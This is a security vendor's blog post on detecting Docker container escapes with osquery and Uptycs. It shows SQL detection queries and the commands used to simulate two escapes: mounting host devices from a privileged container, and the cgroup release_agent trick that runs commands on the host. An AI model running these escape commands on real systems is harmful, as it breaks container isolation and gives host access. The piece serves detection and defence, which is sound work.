Using Osquery & Uptycs to Detect Docker Escapes

Docker escape techniques allow an attacker to break out to the host system from a container. This is generally achieved by exploiting various misconfigurations in Docker. Broadly, the escape techniques fall into two categories:

1. Writing to the host file system from a container (I/O breakout)
2. Running a process on the host machine from a container (process breakout)

Although these techniques are commonly used to escape from containers, they can also be used to evade monitoring tools that are not container-aware. Uptycs can detect both of these types of breakouts.

I/O Breakout: Dropping Files on the Host System From the Container

The I/O breakout depends on the following container misconfigurations:

• The container is privileged
• Devices on the host are accessible from the container

An attacker will execute the following steps in the container to compromise the host system.

First, since the host devices are accessible from the container, an attacker can mount a storage device from the host onto the container using these commands:

# mkdir mount_folder
# mount <path to storage device> /mount_folder/

In this example, mount_folder is any folder where an attacker can mount a storage device. The execution of the above commands leads to mirroring of the contents of the storage device to the mount_folder. This means changes made to the mirror folder would be reflected on the storage device and vice versa.

Second, since mirroring is complete, an attacker can drop potentially malicious files into monitored locations on the host using the following commands:

# chroot /mount_folder/
# cp /usr/bin/ls /tmp/ls.copy

Detecting the I/O Breakout

All of the activities that we did for simulation are recorded by osquery in the process_events and process_file_events tables. Please note that the osquery process runs on the host (instead of running inside each container), and therefore, it is able to record events happening on the host, as well as events happening inside any of the containers running on the same host. All these events are combined in the same tables (i.e. there are no special tables to record events from containers).

However, osquery helpfully marks events coming from containerized processes and attaches basic metadata to identify the source containers.

We can use the following queries to identify I/O breakouts:

1. Detect a new privileged container getting spawned:

select * from process_events where is_container_init = 1 and is_container_privileged = 1;

2. Detect privileged containers that are already running:

select * from process_events where is_container_init <> 1 and is_container_privileged = 1;

3. Detect mounts inside a container:

select * from process_events where ((exe_name = 'mount' or exe_name = 'umount') and is_container_process = 1);

4. Detect I/O from a privileged container:

select * from process_file_events where is_container_process = 1 and is_container_privileged = 1;

These queries are generic and will detect any potential malware that uses these techniques.

All of the events recorded by osquery have process tree data associated with them. This can help find the process (or processes) that started the offending process. These events also have container metadata associated with them, which helps identify the specific container and the image that’s running the malicious process.

Entries in the process_file_events table have file metadata (opening flags, mode, inode number, filesystem type) associated with them. This information tells us whether the file was opened for reading, writing (or both), file permissions, etc.

Figure 1. List of I/O breakout signals (correlated alerts and events) in Uptycs. (Click to see larger version.)

Figure 2. Process graph for correlated I/O breakout signals. (Click to see larger version.)

Process breakout: Running process on the host machine from a container

The process breakout depends on the following misconfigurations:

1. Container has SYS_ADMIN capability
2. AppArmor profile is unconfined

Steps to Simulate

1. Run a Docker container with SYS_ADMIN capability, and the AppArmor profile disabled:

sudo docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

2. Run the following commands in the container:

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/y

echo 1 > /tmp/cgrp/y/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/y/cgroup.procs"

3. Verify that "$host_path/output" contains output of the executed command (ps aux).

4. Verify that osquery generated telemetry in the process_events table and that ancestor_list contains kthread in process details.

Detecting the Process Breakout

We can use the following queries to identify I/O breakouts:

1. Detect a new privileged container getting spawned:

select * from process_events where is_container_init = 1 and is_container_privileged = 1;

2. Detect privileged containers that are already running:

select * from process_events where is_container_init <> 1 and is_container_privileged = 1;

3. Detect potential breakout processes:

select * from process_events where ((ancestor_list like ‘%"exe_name":"kthreadd"%’) and (ancestor_list like ‘%"path":"kthreadd"%’));

These queries are generic and will detect any potential malware that uses these techniques.

Figure 3. List of process breakout signals (correlated events and alerts) in Uptycs. (Click to see larger version.)

Figure 4. Process graph for correlated process breakout signals. (Click to see larger version.)

Summary

To recap, organizations are using Docker to quickly scale up and meet their needs. But accelerated adoption introduces risk because it takes time for administrators to fully understand the best ways to deploy Docker securely. This gap between adoption and security creates opportunities for attackers to exploit misconfigurations. The EDR capabilities in Uptycs address this issue by empowering security teams to detect attacks in their Docker infrastructure.

Schedule a demo to learn more about the container security functionality in Uptycs.